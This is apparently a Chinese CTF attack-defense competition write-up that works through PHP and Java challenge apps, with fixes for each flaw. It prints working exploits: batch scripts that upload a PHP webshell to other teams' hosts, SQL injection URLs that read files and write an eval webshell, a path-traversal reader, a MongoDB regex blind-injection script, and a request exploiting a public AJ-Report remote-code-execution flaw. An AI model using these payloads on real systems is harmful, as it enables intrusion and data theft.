background

华中选拔赛落幕了 这次比赛没有取得想要的成绩 我也发现了自己的一些问题 有时候真的就是一个很简单的问题 半天看不懂 然后挺容易手忙脚乱的 emmmm 有的题真的感觉不难 但是自己真的没接触过java awdp的时候全程在死磕php 也是逆天了 全程0解 我们一共就出了个nosql注入的flag 也不会修 真是废了 而且10轮的时候才交上去 有个pwn真的是被干烂了 反正我们是被打爆了

awd-php

漏洞点一

打开就是一个登录框

image-20240625161127323

常规操作 备份数据库 源码 打包d盾扫一下 一眼的马子 直接删掉或者写成其他的东西

image-20240625161257073

研究一下怎么用 这里是goto加密了 我看到的时候第一时间就慌了 真就是很简单的一个东西我都没看出来 赛后别人写框出来贴我脸上了我才看懂 我们没靠这个后面吃到啥分 我们抓到流量的时候感觉已经晚了 大家都修的差不多了

image-20240625162426470

直接就输出出来就完事了啊 我还去解密解啥啊 真的是蠢

image-20240625162500908

直接system里面接post参数game就完事了

image-20240625162637721

接下来脚本批量打就行了 没啥说的 i春秋的平台挺好的 支持一大段flag提交 绿盟的还得写个提交的脚本

漏洞点一-fix

直接删掉就行了

漏洞点二-上传点1

直接看代码 一个很明显的任意文件上传

image-20240625163123350

然后洞肯定要在后台找 于是想办法进后台 数据库看下账号信息

image-20240625164020483

mayuri.infospace@gmail.com/admin

要是看不出来 直接抓cherk账号也是可以的

然后找上传点 咋说呢 这次awd本来就是友谊赛 我们打到一半时科大老师让我们做一个技术分享 讲一下打法和洞在哪里之类的

当时位列第二 然后分享了一下这题的解法(java的洞我们是吃到红利了 php的真的没来得及捞 马子删了 然后我脚本还没到位科大老师就让我分享 反正是友谊赛不计分 然后我分享完php这题的打法就出了很多文件上传的 我们被超了 没啥心思打了 哈哈哈哈 我脚本后面也没整出来 现场网络感觉也有些问题 23333)

62cc649b22702f61bf87878d483de24

我分享完了之后有一些队伍的师傅来问我们后台上传点在哪里 他们没找着 其实就是用户图标这里

image-20240625164233223

直接很顺畅的上去了 但是没路径

image-20240625165222206

路径源码也写的很清楚 这个路径规则也有师傅过来问了 哈哈哈哈

$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];

本地写一下就完事了

image-20240625165506690

image-20240625165651995

这里实际上不需要授权也是可以访问的 没有cookie也可以正常上传文件

我这里的思路是本地php生成一下时间 然后带入到python中上传后访问 因为这个路径一分钟才会变 一分钟足够收割其他队伍的机器了 反正比赛的时候我脚本死活写不出来(感觉是网络的锅) 现在本地写一个没啥问题

import requests
import re

url="http://x.x.x.x:1234/ajax.php?action=update_user"
url2="http://x.x.x.x:1234/assets/uploads/1719307260_logo.php"
headers={
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------51181557910837193061903359208"
}

data='''
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="id"

1
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="firstname"

Mayuri K
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="lastname"

K
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="email"

mayuri.infospace@gmail.com
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="password"


-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="img"; filename="logo.php"
Content-Type: image/jpeg

<?php system('cat /flag'); ?>
-----------------------------51181557910837193061903359208--
'''

resp=requests.post(url=url,headers=headers,data=data)
resp2=requests.get(url=url2)
print(resp2.text)

批量脚本 我本地测试是没有问题的 当时也是这个思路 可能是网络问题干扰吧 让后自己也急了 以后这些东西还是得准备好

import requests
import re
import time

headers={
"Accept": "*/*",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=---------------------------51181557910837193061903359208"
}

data='''
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="id"

1
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="firstname"

Mayuri K
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="lastname"

K
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="email"

mayuri.infospace@gmail.com
-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="password"


-----------------------------51181557910837193061903359208
Content-Disposition: form-data; name="img"; filename="logo.php"
Content-Type: image/jpeg

<?php system('cat /flag'); ?>
-----------------------------51181557910837193061903359208--
'''
with open('1.txt', 'r') as f:
ip_port_list = [line.strip().split() for line in f]
for ip, port in ip_port_list:
urls = f"http://{ip}:{port}"

url=f"{urls}/ajax.php?action=update_user"
url2=f"{urls}/assets/uploads/1719366480_logo.php"

try:
resp=requests.post(url=url,headers=headers,data=data,timeout=1)
resp2=requests.get(url=url2)
#resp=requests.post(url=path,data=data,headers=headers,verify=False,timeout=1,proxies=proxy)

result = re.search(r'flag{', resp2.text)
if result:
print(resp2.text)
else:
pass
except requests.exceptions.Timeout:
pass
except requests.exceptions.ConnectionError:
pass
except Exception as e:
pass

漏洞点二-上传点2

这里肯定不止一个上传点的 但是后台貌似只看到一个地方

image-20240626102843444

但是没找到到哪里调用

image-20240626105352815

这里所有函数是在Action类里

image-20240626105554038

就这一个地方实例化了

image-20240626105714595

然后调用的方法都写死了 我也没找到反序列化的地方

image-20240626105805059

所以这里应该是没法利用的(才疏学浅 也许可以利用我自己不会而已)

要利用的话需要再ajax.php里新增一个调用

/*新增*/
if($action == 'save_image'){
$save_image = $crud->save_image();
if($save_image)
echo $save_image;
}

原本的代码也得改一下 需要注意路径的问题

function save_image(){
extract($_FILES['file']);
if(!empty($tmp_name)){
$fname = strtotime(date("Y-m-d H:i"))."_".(str_replace(" ","-",$name));
//$move = move_uploaded_file($tmp_name,'../assets/uploads/'. $fname);
$move = move_uploaded_file($tmp_name,'assets/uploads/'. $fname);
$protocol = strtolower(substr($_SERVER["SERVER_PROTOCOL"],0,5))=='https'?'https':'http';
$hostName = $_SERVER['HTTP_HOST'];
$path =explode('/',$_SERVER['PHP_SELF']);
$currentPath = '/'.$path[1];
if($move){
return $protocol.'://'.$hostName.$currentPath.'/assets/uploads/'.$fname;
}
}
}

成功上传 其实这个题出的刁钻一点的话后台不给上传点 让人自己看代码构造口子

image-20240626114748012

漏洞点二-上传点3

image-20240626152433101

同样的也是在ajax.php里没有定义的 无法直接利用

image-20240626152458581

同上面一样的 引用一下

if($action == 'save_system_settings'){
$save_system_settings = $crud->save_system_settings();
if($save_system_settings)
echo $save_system_settings;
}

修一下路径 可成功传shell

function save_system_settings(){
extract($_POST);
$data = '';
foreach($_POST as $k => $v){
if(!is_numeric($k)){
if(empty($data)){
$data .= " $k='$v' ";
}else{
$data .= ", $k='$v' ";
}
}
}
if($_FILES['cover']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['cover']['name'];
//$move = move_uploaded_file($_FILES['cover']['tmp_name'],'../assets/uploads/'. $fname);
$move = move_uploaded_file($_FILES['cover']['tmp_name'],'assets/uploads/'. $fname);
$data .= ", cover_img = '$fname' ";

}

漏洞点二-上传点4

image-20240626154258068

这里已经引用了 但是同样的有路径问题 fix一下就OK了

if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
//$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/uploads/'. $fname);
$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);
$data .= ", avatar = '$fname' ";

}

漏洞点二-fix

检验后缀就完事了 awdp的时候也遇到文件上传的 可惜了没修好 嘎嘎fix失败 现在看来可能是我$_FILES['img']['name']写的问题 刚刚fix的时候也一直不行 后面发现是这个问题 不同的文件这些参数都是不一样的 唉 还是底子不扎实

if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
//$move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/uploads/'. $fname);
$deny_ext = array(".jpg",".png",".jpeg"); //【修改点一】
$file_name = trim($_FILES['img']['name']);
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (in_array($file_ext, $deny_ext)&&substr_count($_FILES['img']['name'], '.')===1){
}else{
die('不允许的类型!!!');
}
$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/'. $fname);
$data .= ", avatar = '$fname' ";

}

image-20240626162152753

漏洞点三

一眼的sql注入

image-20240626164812690

image-20240626164840899

默认情况下是无法读取文件的 但是awd 嘛 指定要刺激点 我估计当时环境是可以读文件的

http://x.x.x.x:1234/view_parcel.php?id=-8970 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(select load_file('/flag')),NULL,NULL,NULL,NULL,NULL-- -

image-20240626164948434

只能读文件肯定是不够的 写马子

http://x.x.x.x:1234/view_parcel.php?id=-8970 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,"111",NULL,NULL,NULL,NULL,NULL INTO OUTFILE "/tmp/1"-- -

sqlmap的写法 成功

http://x.x.x.x:1234/view_parcel.php?id=1 LIMIT 0,1 INTO OUTFILE '/tmp/1' LINES TERMINATED BY 0x3c3f706870206576616c28245f4745545b315d293b203f3e-- -

一眼的注入

image-20240626172409316

这一大堆就不一个一个看了

image-20240626172513427

基本都是有洞的

正常

image-20240626174342244

不正常

image-20240626174422279

漏洞点三-fix

是int参数的话 直接转换int型就行了

$qry = $conn->query("SELECT * FROM parcels where id = ".intval($_GET['id']))->fetch_array();

或者直接直接过滤

<?php
include 'db_connect.php';
$id=$_GET['id'];
if(preg_match("/select\b|insert\b|update\b|drop\b|and\b|delete\b|dumpfile\b|outfile\b|load_file|rename\b|floor\(|extractvalue|updatexml|name_const|multipoint\(/i", $id)){
die('n0');
}
$qry = $conn->query("SELECT * FROM parcels where id = ".$id)->fetch_array();
foreach($qry as $k => $v){
$$k = $v;
}
include 'new_parcel.php';
?>

这个题目前也就发现这三种办法 应该还有很多其他的打法的

awd-java

第一次接触java 补了一下反编译 打包之类的知识 但是对于这个代码结构还是一头雾水

环境搭建的时候发现没有数据库文件 然后github上找到了

https://github.com/yeqifu/warehouse/blob/master/warehouse.sql

在代码里也发现了数据库信息

image-20240628154003824

127.0.0.1:3306
warehouse
root
root

这里先说说jar包怎么反编译再编回去

IDEA下载插件JarEditor

新建一个项目 选择文件的路径

image-20240628154551548

然后选择JarEditor就可以编辑代码了

image-20240628155123286

编辑完了点保存 然后build即可(直接覆盖原来的包 需要先备份好)

image-20240628155218274

我本地搭建了没问题 但是不能路径穿越 于是在linxu里修改 把mysql服务器设置为我本机 但是一直登不进去 shiro有问题

image-20240629102254874

于是只能又把数据库设为本地 来看看是不是数据库不在127.0.0.1的锅

mysql默认是不在0.0.0.0的 修改/etc/mysql/my.cnf

[mysqld]
bind-address = 0.0.0.0
systemctl restart mysql

允许所有用户连接

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456';
FLUSH PRIVILEGES;

修改密码

SET PASSWORD FOR 'root'@'localhost' = PASSWORD('root');

完事之后还是一样的错误 那就是java版本的问题了 kali里的java版本太高了 降一下

mkdir -p /usr/local/java  
cd /usr/local/java
wget https://repo.huaweicloud.com/java/jdk/8u202-b08/jdk-8u202-linux-x64.tar.gz
sudo tar -zxvf jdk-8u202-linux-x64.tar.gz
nano /etc/profile

在文件的末尾添加以下内容(注意替换``为你的JDK 8版本号)
JAVA_HOME=/usr/local/java/jdk1.8.0_202
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH

update-alternatives --install "/usr/bin/java" "java" "/usr/local/java/jdk1.8.0_202/bin/java" 1
update-alternatives --install "/usr/bin/javac" "javac" "/usr/local/java/jdk1.8.0_202/bin/javac" 1
update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/local/java/jdk1.8.0_202/bin/javaws" 1
update-alternatives --set java /usr/local/java/jdk1.8.0_202/bin/java
update-alternatives --set javac /usr/local/java/jdk1.8.0_202/bin/javac
update-alternatives --set javaws /usr/local/java/jdk1.8.0_202/bin/javaws
source /etc/profile
java -version

漏洞点一

成功跑起来了 但是还是读不到文件

尝试一番 后面正常了 题目正常是可以读文件的 默认是一个头像 但是我们这源码打包下来的没有图片 所以路径穿越根本穿不动 我后台传入一个图片进去再穿越就正常了 图片存在/app目录下 需要存在这个目录

这个洞是我队友黑盒测的 tql

image-20240629135824066

批量脚本(当时不是用的这个 第一次接触ichunqiu的平台 不知道他给的别人机器都是文档 还需要去处理 之前绿盟的平台都是直接循环一个段子就完事了 当时是记事本手动增加: 然后读取拼接http和路径 每一轮都要手动替换空格成:

import requests
import re
import time

with open('1.txt', 'r') as f:
ip_port_list = [line.strip().split() for line in f]
for ip, port in ip_port_list:
urls = f"http://{ip}:{port}"

url=f"{urls}/file/showImageByPath?path=../../../../../../../../../flag"

try:
resp=requests.get(url=url,timeout=1)
result = re.search(r'flag{', resp.text)
if result:
print(resp.text)
else:
pass
except requests.exceptions.Timeout:
pass
except requests.exceptions.ConnectionError:
pass
except Exception as e:
pass

按两下shift搜索关键字

image-20240629132926753

没进过任何处理 直接返回了路径 使用../即可路径穿越读取任意文件

image-20240629133055787

漏洞点一-fix

修的话直接无脑过滤flag ../应该就行了 但是搞不了 应该是环境有问题 换了很多jdk版本都不行 废了

public ResponseEntity<Object> showImageByPath(String path) {
if(path.contains("../")){
return "no";
}
if(path.contains("./")){
return "no";
}
if(path.contains("flag")){
return "no";
}
return AppFileUtils.createResponseEntity(path);
}

image-20240629161749391

所以就这样了 不知道怎么办了 然后这里肯定不止这一个漏洞 翻了下shiro也没发现秘钥啥的 注入我用xray扫了一下也没出货

other

扫了一下是没log4j的

image-20240629171336855

这个版本是有漏洞的 但是没复现出来

image-20240629173523406

image-20240629173542197

fastjson也是有洞的

image-20240629173617901

搜了下貌似没有调用的地方

image-20240629174830146

行了 不玩了 真的是啥也不懂

awdp-ezjava

环境搭建还需要做个数据库 无须做认证

sudo apt-get install mongodb
sudo systemctl start mongodb

break

用户名为admin 密码是随机生成的

image-20240629182118876

看登录逻辑

当账号密码正确时 把我们输入的密码和数据库里的密码对比 成功执行getflag 否则提示密码错误

image-20240629182441841

看一下是怎么取的flag

这里直接调用的系统命令读的 到这里逻辑也很清楚了 使用账号密码登录成功 密码和数据库里的密码对得上即可得到flag

image-20240629182607101

这里使用的FindByNamePassword处理两个字符串

image-20240629183425779

跟进

发现这里直接用了变量拼接 存在sql注入

image-20240629183537603

这里的注入不能像mysql这 这里使用的是非关系型数据库

参考 这里最有意思的php的弱类型造成的数组传入

https://xz.aliyun.com/t/9908?time__1311=n4%2BxuDgD9Am4BlDRDBuWoGkYA5DI5erNPG8eD

关于语法参考

https://blog.mo60.cn/index.php/archives/2023-China-Skills-Security-web1.html

image-20240701124550464

参考

https://blog.csdn.net/jklbnm12/article/details/120423608

联合注入poc(这里去掉了反斜杠的转义)

username=admin', $or: [ {}, {'a': 'a&password=' }], $comment: '123456

在后端拼接后实际的查询语句为

{ username: 'admin', $or: [ {}, {'a':'a', password: '' }], $comment: '123456'}

这里语句是为真的

image-20240701131137930

这里为了更直观的看到实际执行的语句 修改了一个源代码 直接返回带入数据库中的查询数据

import com.mongodb.DBObject;
import com.mongodb.util.JSON;

public String login(String username, String password, HttpServletResponse response) {
try {
String stringQuery = "{ 'username' : '" + username + "', 'password' : '" + password + "'}";
DBObject databaseQuery = (DBObject)JSON.parse(stringQuery);
String jsonResult = JSON.serialize(databaseQuery);
return jsonResult;
} catch (Exception var7) {
return "error";
}
}

这里构造真条件没啥用 必须要实际的密码 所以这里使用盲注正则来匹配字符 最终payload

password=','password':{'$regex':'^.*'},'username':'admin
password=','password':{'$regex':'^'},'username':'admin

这里password的值直接当做了一个表达式去计算 实际上这里username不需要传值的 后端会解析json的

最终后端执行语句

image-20240701135441050

最终exp

import requests

url = "http://192.168.6.18:9999/login"

dict = "abcdefghijklmnopqrstuvwxyz0123456789"
flag = ""
http_proxy = "http://127.0.0.1:8080"
https_proxy = "http://127.0.0.1:8080"


# 设置代理
proxies = {
"http": http_proxy,
"https": https_proxy
}

for len in range(32):
for i in dict:
data = {
"password":"','password':{'$regex':'^"+flag+i+"'},'username':'admin"
}
resp = requests.post(url,data=data,verify=False,proxies=proxies)
if "username or password incorrect" not in resp.text:
flag+=i
print(flag)

fix

那简单 过滤也行 直接全部改成username or password incorrect应该也是可以过cherk的

if(password.contains("''")||password.contains("regex")){
return "username or password incorrect";
}
//参考https://whuctf-team.feishu.cn/docx/SI1hdjHYhoTRQSxrJo3c71WhnSe
这里实际上跟所有的改成username or password incorrect没啥区别

awdp-AJ-Report

五月份公开的洞

image-20240701144947497

唉 还是漏洞库不够大啊 可惜了 不然直接exp无脑打就行了的

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1  
Host: 192.168.0.100:9095
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close

{"sampleItem":"1","validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\\"whoami\\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

awdp-php2

break

后台洞 一直不知道账号密码 我试过John doe密码john 进不去

题目描述是John doe创建了一个博客 密码是john

这里我以为的john是破解密码的那个玩意 然后是要找个注入点 拿密码的hash 然后john去跑 就一直在找注入点的路上走

后面用rockyou字典跑了一下 也没出货 但凡是我能本地跑一下这个代码 真的是不至于这题0解 逆天了 真的是0解

这题账号就是John Doe密码john 妈的 那个大写的D……

image-20240701164213152

搭建不起来 醉了

image-20240701194806481

算了 就这样吧 完结